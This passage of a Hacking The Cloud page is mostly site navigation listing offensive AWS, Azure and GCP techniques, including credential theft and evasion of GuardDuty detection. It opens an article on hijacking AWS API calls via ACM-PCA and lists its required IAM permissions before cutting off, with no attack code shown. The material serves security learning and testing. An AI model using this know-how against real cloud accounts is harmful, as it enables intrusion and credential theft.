16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Patryk Bogusz</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/route53_modification_privilege_escalation.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=aws-api-call-hijacking-via-acm-pca>AWS API Call Hijacking via ACM-PCA<a class=headerlink href=#aws-api-call-hijacking-via-acm-pca title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/create-hosted-zone.html>route53:CreateHostedZone</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/change-resource-record-sets.html>route53:ChangeResourceRecordSets</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/acm-pca/issue-certificate.html>acm-pca:IssueCertificate</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/acm-pca/get-certificate.html>acm-pca:GetCertificate</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/get-hosted-zone.html>route53:GetHostedZone</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/route53/list-hosted-zones.html>route53:ListHostedZones</a></li> <li><a 